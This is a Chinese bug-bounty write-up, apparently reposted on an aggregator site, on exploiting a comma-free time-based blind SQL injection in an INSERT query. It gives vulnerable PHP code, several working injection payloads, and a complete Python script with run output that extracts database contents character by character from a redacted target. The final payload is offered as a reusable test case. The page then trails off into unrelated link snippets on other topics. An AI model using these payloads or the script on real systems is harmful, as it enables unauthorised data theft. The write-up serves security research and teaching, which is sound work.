挖洞经验

2023-11-05

一次INSERT查询的无逗号SQL注入漏洞构造利用本文分享的是作者在一次众测中的SQL报错型注入漏洞发现过程,有趣之处在于,在后续漏洞利用的构造中,如果在目标服务端数据库逻辑的INSERT查询中使用逗号(Comma),将导致构造的Payload不可用,这种情况下,作者通过综合Time-based注入、Case When和Like操作成功实现了SQL注入,漏洞获得了厂商$10,000美金的奖励。

漏洞介绍

INSERT查询或UPDATE型SQL注入漏洞也算是比较常见的了,在任何SQL注入漏洞中,原因都是由于不安全的用户输入传递给了后端数据查询。此次测试数据库中的用户输入逻辑大概可以这样描述:

 

$email=$_POST['email'];
$name=$_POST['name'];
$review=$_POST['review'];
$query="insert into reviews(review,email,name) values ('$review','$email','$name')";
mysql_query($query,$conn);

 

依上所看,其对应的请求体应该是这样的:

 

review=test review&email=info@example.com&name=test name

 

所以,经分析,可能存在以下的INSERT列插入语句:

 

insert into reviews(review,email,name) values ('test review','info@example.com','test name')

 

最终,在目标数据库中形成的结果就是:

 

MariaDB [dummydb]> insert into reviews(review,email,name) values ('test review','info@example.com','test name');
Query OK, 1 row affected (0.001 sec)
MariaDB [dummydb]> select * from reviews;
+-------------+------------------+-----------+
| review      | email            | name      |
+-------------+------------------+-----------+
| test review | info@example.com | test name |
+-------------+------------------+-----------+
1 row in set (0.000 sec)

 

综上所述,在此,我们就有三种方法来对这个数据库逻辑进行漏洞注入构造。

用extractvalue方法构造的报错型注入

可以把上述分析中的review、email、name三个列插入值换成:

 

test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1

 

这种构造情况,会形成一个泄露目标数据库的SQL报错注入:

 

MariaDB [dummydb]> insert into reviews(review,email,name) values ('test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1','info@example.com','test name');
ERROR 1105 (HY000): XPATH syntax error: '
dummydb'

使用子查询 (Subquery)

基于以上报错型注入,我们可以进一步利用子查询 (Subquery)方式去读取数据库内容,并把它显示在插入列的内容中。例如,我们把review这个列的值构造为:

 

jnk review',(select user()),'dummy name')-- -

 

那么,最后的插入查询语句会是:

 

insert into reviews(review,email,name) values ('jnk review',(select user()),'dummy name')-- -,'info@example.com','test name');

 

仔细看,由于其中存在注释符 –,所以,,’info@example.com’,'test name’); 就会被注释掉,而其中的(select user())是对当前数据库用户的查询请求,一般会是root@localhost。所以,运行上述插入查询语句之后,数据库中review、email、name三列内容就会相应成为:jnk review、root@localhost、dummy name,非常容易理解。如下:

 

MariaDB [dummydb]> insert into reviews(review,email,name) values ('jnk review',(select user()),'dummy name');--,'info@example.com','test name');
Query OK, 1 row affected (0.001 sec)
MariaDB [dummydb]> select * from reviews;
+-------------+------------------+------------+
| review      | email            | name       |
+-------------+------------------+------------+
| test review | info@example.com | test name  |
| jnk review  | root@localhost   | dummy name |
+-------------+------------------+------------+
2 rows in set (0.000 sec)
MariaDB [dummydb]>

 

Time-based的盲注构造

以上的构造Payload只能说明数据库内部的一个处理逻辑,但在应用端来看不能导致报错,而且也无法回显我们的插入语句结果,甚至是根本没法知道我们的插入语句是否是true 或false的情况,基于此,我们可以对它进行Time-based的盲注构造,结合If语句和substring方法,有以下Payload:

 

xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx

 

如果查询语句为真,那么其后端数据库就会休眠5秒后才输出回显结果,用这种判断方式,我们可以来推断出数据库中的具体架构方式。具体方法可参考detectify实验室的 sqli-in-insert-worse-than-select

综合分析

有了以上的分析,总体的漏洞利用应该不成问题了,但是,在我当前测试的目标数据库中,其存在注入漏洞的参数是urls[] 和methods[],而且它们的值都是用逗号 -“,”进行分隔的,我按照以上分析的Payload构造进行测试后发现,其中的逗号会破坏我们的Payload构造,最终会导致注入利用不成功。

以目标数据库的以下逻辑来说:

 

$urls_input=$_POST['urls'];
$urls = explode(",", $urls_input);
print_r($urls);
foreach($urls as $url){
  mysql_query("insert into xxxxxx (url,method) values ('$url','method')")
}

 

如果我们按照之前分析的Payload构造进行测试,我们把其中的urls值替换为:

 

xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx

 

那么由于逗号的存在,目标数据库后端的运行处理模式就会是:

 

Array
(
    [0] => xxx'-(IF((substring((select database())
    [1] => 1
    [2] => 1)) = 'd'
    [3] =>  sleep(5)
    [4] =>  0))-'xxxx
)

 

所以,由于逗号的分隔作用,这样的处理也就无法形成我们的注入利用了。

解决方法

所以,这样来看,我们的Payload中必须不能包含逗号。第一步,我们需要找到一个代替IF条件且能用逗号和其它语句共同作用的方法语句。这里的话,选用case when比较适合,所以这里利用它的一个基本用法为:

 

MariaDB [dummydb]> select CASE WHEN ((select substring('111',1,1)='1')) THEN (sleep(3)) ELSE 2 END;
+--------------------------------------------------------------------------+
| CASE WHEN ((select substring('111',1,1)='1')) THEN (sleep(3)) ELSE 2 END |
+--------------------------------------------------------------------------+
|                                                                        0 |
+--------------------------------------------------------------------------+
1 row in set (3.001 sec)

 

如果我们构造查询的语句为真,那么,数据库就会休眠3秒执行输出。

另外,我们还要找到代替substring的方法,那么,我们可以用Like操作来实现,比如以下逻辑:

 

MariaDB [dummydb]> select CASE WHEN ((select database()) like 'd%') THEN (sleep(3)) ELSE 2 END;
+----------------------------------------------------------------------+
| CASE WHEN ((select database()) like 'd%') THEN (sleep(3)) ELSE 2 END |
+----------------------------------------------------------------------+
|                                                                    0 |
+----------------------------------------------------------------------+
1 row in set (3.001 sec)

 

其中的((select database()) like ‘d%’) 意思是,选取出的以 d 开头的模式字符串,如果这种模式匹配存在,数据库就会休眠3秒后输出。

所以,最后的综合就是把这个查询和INSERT连接在一起,出于测试保密原则,隐去目标主站,最终的Payload利用链接为:

 

http://xxxxxxxx/'-(select CASE WHEN ((select database()) like 'd%') THEN (sleep(4)) ELSE 2 END)-'xxx

 

这种Payload利用中,可以把CASE WHEN和Like操作设置为对字符串(Char)的暴力破解,所以,最后成型的Payload是这样的:

 

urls[]=xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'

 

漏洞利用

对以上Payload进行手动测试会是一件非常耗时的事,所以,我编写了以下的Python脚本对它进行一个自动化利用:天空彩

 

import requests
import sys
import time
# xxxxxxxxxexample.com SQLi POC
# Coded by Ahmed Sultan (0x4148)
if len(sys.argv) == 1:
 print '''
Usage : python sql.py "QUERY"
Example : python sql.py "(select database)"
 '''
 sys.exit()
query=sys.argv[1]
print "[*] Obtaining length"
url = "https://xxxxxxxxxexample.com:443/sub"
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate",
"Cookie": 'xxxxxxxxxxxxxxxxxxx',
"Referer": "https://www.xxxxxxxxxexample.com:443/",
"Host": "www.xxxxxxxxxexample.com",
"Connection": "close",
"X-Requested-With":"XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded"}
for i in range(1,100):
 current_time=time.time()
 data={"methods[]": "on-site", "urls[]": "jnkfooo'-cast((select CASE WHEN ((select length("+query+"))="+str(i)+") THEN (sleep(1)) ELSE 2 END) as char)-'"}
 response=requests.post(url, headers=headers, data=data).text
 response_time=time.time()
 time_taken=response_time-current_time
 print "Executing jnkfooo'-cast((select CASE WHEN ((select length("+query+"))="+str(i)+") THEN (sleep(1)) ELSE 2 END) as char)-'"+" took "+str(time_taken)
 if time_taken > 2:
  print "[+] Length of DB query output is : "+str(i)
  length=i+1
  break
 i=i+1
print "[*] obtaining query output\n"
outp=''
#Obtaining query output
charset="abcdefghijklmnopqrstuvwxyz0123456789.ABCDEFGHIJKLMNOPQRSTUVWXYZ_@-."
for i in range(1,length):
 for char in charset:
  current_time=time.time()
  data={"methods[]": "on-site", "urls[]": "jnkfooo'-cast((select CASE WHEN ("+query+" like '"+outp+char+"%') THEN (sleep(1)) ELSE 2 END) as char)-'"}
  response=requests.post(url, headers=headers, data=data).text
  response_time=time.time()
  time_taken=response_time-current_time
  print "Executing jnkfooo'-cast((select CASE WHEN ("+query+" like '"+outp+char+"%') THEN (sleep(1)) ELSE 2 END) as char)-' took "+str(time_taken)
  if time_taken > 2:
   print "Got '"+char+"'"
   outp=outp+char
   break
 i=i+1
print "QUERY output : "+outp

 

脚本利用示例:

 

[19:38:36] root:/tmp # python sql7.py '(select "abc")'   
[*] Obtaining length
Executing jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=1) THEN (sleep(1)) ELSE 2 END) as char)-' took 0.538205862045
Executing jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=2) THEN (sleep(1)) ELSE 2 END) as char)-' took 0.531971931458
Executing jnkfooo'-cast((select CASE WHEN ((select length((select "abc")))=3) THEN (sleep(1)) ELSE 2 END) as char)-' took 5.55048894882
[+] Length of DB query output is : 3
[*] obtaining query output
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'a%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.5701880455
Got 'a'
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'aa%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.635061979294
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'ab%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.61513400078
Got 'b'
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'aba%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.565879821777
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'abb%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.553005933762
Executing jnkfooo'-cast((select CASE WHEN ((select "abc") like 'abc%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.6208281517
Got 'c'
QUERY output : abc

 

sql11.png

最终,该漏洞获得目标测试厂商$10,000美金的奖励:

bo4.png最终的那个SQL注入测试Payload,可以当成你注入测试时的一个用例:

 

xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

挖洞经验 的相关文章

  • 哈希表冲突及处理冲突的方法(含例子)

    一 哈希函数和哈希冲突的基本概念 1 哈希函数 哈希法又称散列法 杂凑法以及关键字地址计算法等 相应的表成为哈希表 基本思想 首先在元素的关键字K和元素的位置P之间建立一个对应关系f 使得P f K 其中f成为哈希函数 创建哈希表时 把关键
  • Pinpoint--基础--3.1--安装部署--环境准备

    Pinpoint 基础 3 1 安装部署 环境准备 前提 使用hd用户登陆 完成基础环境搭建 https blog csdn net zhou920786312 article details 118212302 代码位置 https gi
  • Java学习笔记

    Java学习笔记 1 知识点 1 0Hello World 1 1Java的枚举 1 2类的构造函数 初始化对象 1 3访问实例变量 调用成员方法 1 4一个源文件只能有一个public类 且与源文件名称保持一致 可以有多个非public类
  • java线上问题排查基本命令

    1 jvm基本命令 1 1 java命令 1 1 1 简介 java命令启动java应用程序 它通过启动Java运行时环境 JRE 加载指定的类并调用该类的main 方法来实现这一点 1 1 2 命令链接 https docs oracle
  • 若依前后端分离框架学习-5:权限管理

    上一章自己创建了一个模块 我们注意到前端代码中对于按钮有v hasPermi xxx testxxx add 这种代码 服务端有 PreAuthorize ss hasPermi xxx testxxx add 这种代码 这是为了分别在前端
  • javax.servlet.ServletException: Could not resolve view with name ‘member/personnelList‘

    问题描述 接口突然就这样了 而且好像还是所有接口都这样了 解决方案 使用 RestController 因为我们要返回Json数据 假如只使用 Controller 这样会导致Springboot去查找视图
  • rabbitmq4.0以下版本遇到断网重连异常

    现象描述 一个客户端反应经常性不更新显示信息 分析是rabbitmq的消息没有及时consumer 登陆服务器控制台查看消息状态是ready 终端连接状态running 但就是不消费信息了 分析 怀疑网络中途有中断波动 1 代码里已经设置s
  • Unity屏幕坐标

    Unity学习笔记 Part 12 一 屏幕坐标 二 屏幕边界 一 屏幕坐标 世界坐标 transform position 该物体在世界空间中的坐标 屏幕坐标 通过屏幕观察 该物体在屏幕上的位置 屏幕坐标即主摄像机观察到的坐标 为Unit
  • React 16 加载性能优化指南

    转自 https zhuanlan zhihu com p 37148975 关于 React 应用加载的优化 其实网上类似的文章已经有太多太多了 随便一搜就是一堆 已经成为了一个老生常谈的问题 但随着 React 16 和 Webpack
  • iMAC 2013机器从mac0s10.5升级安装macos12.6 Monterey

    1 准备一个16G以上的U盘 2 Download and build macOS Installers OpenCore Legacy Patcher 打开链接下载最新的 OCLP 按进示运行即可以完成安装 3 注意等待的时间会比较久 请
  • Python机器学习库sklearn几种分类算法建模可视化(实验)

    sklearn官网API查询API Reference scikit learn 1 2 2 documentation scikit learn中自带了一些数据集 比如说最著名的Iris数据集 数据集中第3列和第4列数据表示花瓣的长度和宽
  • MAC系统配置 JAVA_HOME 环境变量,然后安装maven

    安装jdk之后 要配置JAVA HOME 环境变量 在 macOS 上设置 JAVA HOME 环境变量 打开终端应用程序 运行以下命令来查找您的 Java 安装路径 usr libexec java home 终端将显示您的 Java 安
  • 数据分析的基本理论

    1 数据分析是什么 是指用适当的统计方法对手机来的数据及逆行分析 将他们加以汇总和理解并消化 以求最大化的开发数据的功能 发挥数据的作用 2 数据分析的划分 描述性数据分析 探索性数据分析 验证性数据分析 描述性数据分析属于初级数据分析 另
  • MyEclipse里没有支持的tomcat版本怎么办?

    由于笔者在配置tomcat服务器时遇见了问题 在MyEclipse上配置toomcat时发现没有符合自己下载的压缩版的tomcat apache tomcat 8 5 39 的选项 如下图所示 只有tomcat4 5 6 7四个版本 但是看
  • c++与python通讯

    本文中c 与python通过列表list传递数值 python代码如下 def makelist list a 1 23 34 46 34 3345 34 list b 1 2 3 list c 45 5 3 return list a l
  • Spring MVC具有哪些优点及缺点呢?

    转自 Spring MVC具有哪些优点及缺点呢 下文笔者将讲述SpringMVC的优点及缺点 如下所示 Spring MVC是当前最优秀的MVC框架 自从Spring 2 5版本发布后 由于支持注解配置 易用性有了大幅度的提高 Spring
  • android 加载本地图片报内存溢(out of memory)解决办法一

    Android在加载大背景图或者大量图片时 经常导致内存溢出 Out of Memory Error 本文根据我处理这些问题的经历及其它开发者的经验 整理解决方案如下 部分代码及文字出处无法考证 方案一 读取图片时注意方法的调用 适当压缩
  • avalon-2-基于docker的运行

    1 安装docker和docker compose 2 sudo docker compose up build ERROR Invalid interpolation format for build option in service
  • pandas read_excel()方法更新了,encoding参数没了

    如图 之前用pandas读取文件的read excel方法里面写的参数现在都报错了 df pd read excel output file encoding utf 8 error bad lines False 读取源文件 encodi
  • 南大通用GBase8s 常用SQL语句(267)

    SET PDQPRIORITY 语句 SET PDQPRIORITY 语句启用一应用来在例程之内动态地设置查询优先级别 SET PDQPRIORITY 语句是对 SQL 的 ANSI ISO 标准的扩展 语法 元素 描述 限制 语法 res

随机推荐

  • 打不开文件"F:\vmware -副本\Ubuntu 16.vmdk":该虚拟机的磁盘已经由虚拟机或者快照使用

    1 打不开文件 F vmware 副本 Ubuntu 16 vmdk 该虚拟机的磁盘已经由虚拟机或者快照使用 解决办法 1 删除虚拟机配置文件下面的 lck文件 2 删除类型为快照的 vmsn vmsd文件 然后重启虚拟机即可 父虚拟磁盘在
  • Latex 报错:The font cannot be found.

    Latex报错 Package fontspec Error The font KaiTi GB2312 cannot be found 解决方法 给系统安装 KaiTi GB2312 字体 step1 下载 KaiTi GB2312 字体
  • 关于虚拟机(CentOS 7 )远程连接超时(SecureCRT 软件)、网络服务启动失败的解决方法

    问题 开启虚拟机后 用CRT软件连接虚拟机发现 总是连接超时 connection time out 返回VM 尝试ping一下百度 发现ping不通 然而在windows上ping百度可以ping通 并且在虚拟机上直接ping百度的ip
  • 【R】【数据采集、抽样和预处理实验】

    文章目录 实验思维导图 实验一 1 1 启动 Rstudio 1 2 新建 R Script 文件 1 3 read csv 函数导入数据 1 4 剔除冗余变量 1 5 缺失值处理 1 6 异常值处理 实验二 2 1 启动 Rstudio
  • 解决idea识别不出来项目中某些Maven模块,显示模块为“灰色”

    解决idea识别不出来项目中某些Maven模块 显示模块为 灰色 背景 打开一个Maven多模块项目 发现有些Maven子模块显示为 灰色 解决方式 点击右侧怕 Maven gt 点击 加号 gt 选择灰色模块对应的 pom 文件 本步骤主
  • OpenSSL中文手册之ASN1库详解(未完待续)

    openssl之ASN 1系列之1 引言和ASN 1概述 引言 ASN 1全称为Abstract Syntax NotationOne 是一种描述数字对象的方法和标准 openssl的编码方法就是基于该标准的 目前 很多其他软件的编码方法也
  • vue321

    component切换 div class dashboard container div
  • [PHP面试题]跳槽面试必背-自己最近5年的整理(二)

    看完这些还怕进不了大厂 PHP面试题 跳槽面试必背 自己最近5年的整理 一 PHP面试题 跳槽面试必背 自己最近5年的整理 三 PHP经典面试题集 含答案 面试12家公司 收获9个offer 2020年PHP 面试问题 100 个常见的 P
  • 图解OAuth 2.0协议族(一):授权码 auth code

    最近学习了OAuth 2 0的协议族 获益匪浅 对认证 授权都有了新的 进一步认识 在这里做用序列图记录与总结所有的场景 以共勉 系列全文以资源拥有者授权客户端访问受保护照片访问为例 模拟了多个场景 Oauth是一个授权协议框架 包含多个协
  • NVIDIA-smi

    上图是服务器上 GeForce GTX 1080 Ti 的信息 下面一一解读参数 上面的表格中的红框中的信息与下面的四个框的信息是一一对应的 GPU GPU 编号 Name GPU 型号 Persistence M 持续模式的状态 持续模式
  • 剑指offer-10 二进制数字1的个数

    输入一个int型数字 输出它作为二进制的1的个数 如9的二进制为1001 有2个1 则输出2 法一 因为int型有4个字节 一共32位 每次将输入右移1 并和1进行 与 操作 将结果累加 则为1的个数 public class Test10
  • 二维各向同性介质弹性波数值模拟(交错网格有限差分法)

    一 一阶速度 应力弹性波方程 在二维各向同介质xoz平面内 假定体力为0 从上面方程当中 我们为了得到各点的应力和速度值 就需要得到关于对时间t和空间x z的偏导 二 时间上的2M阶差分 由Taylor公式得 三 空间2N阶近似差分 由一阶
  • 【2023】Python安装教程

    一 Python下载 1 进入Python官网 官网地址 https www python org 2 点击 Downloads 展开后点击 Windows 跳转到下载python版本页面 选择 Stable Releases 稳定版本 我
  • 尤其抖音,不如学习

    什么是我们最宝贵的资源 是钱吗 不不不 我们最宝贵的资源是时间 与其把时间耗费在刷抖音 或者其他没多少价值的事情上 不如多学习一些有用的技能 今天 小灰给大家推荐几个有用的公众号 这些公众号有些是IT相关 有些是教我们如何穿衣打扮 有些是讨
  • 超出表空间"users"的空间限额

    这是因为用户被数据库限制了在建表的表空间 执行一下下面的语句后 再执行建表语句 alter user 用户名 quota unlimited on 表空间名字
  • shell中if多重条件

    if a aa a b bb c cc a d dd then echo success fi
  • APP自动化之weditor工具

    由于最近事情颇多 许久未更新文章 大家在做APP自动化测试过程中 可能使用的是Appium官方提供的inspect进行元素定位 但此工具调试不方便 于是今天给大家分享一款更好用的APP定位元素工具 weditor weditor基于web网
  • linux查看可执行文件的编译器版本

    一部分可执行程序 可以使用这个方法快速确认 strings a program name grep i gcc 输出 GCC Debian 4 8 4 1 4 8 4
  • django/CVE-2017-12794XSS漏洞复现

    docker搭建漏洞复现环境 漏洞原理看帮助文档 Django debug page XSS漏洞 CVE 2017 12794 分析 Django发布了新版本1 11 5 修复了500页面中可能存在的一个XSS漏洞 这篇文章说明一下该漏洞的
  • 挖洞经验

    本文分享的是作者在一次众测中的SQL报错型注入漏洞发现过程 有趣之处在于 在后续漏洞利用的构造中 如果在目标服务端数据库逻辑的INSERT查询中使用逗号 Comma 将导致构造的Payload不可用 这种情况下 作者通过综合Time bas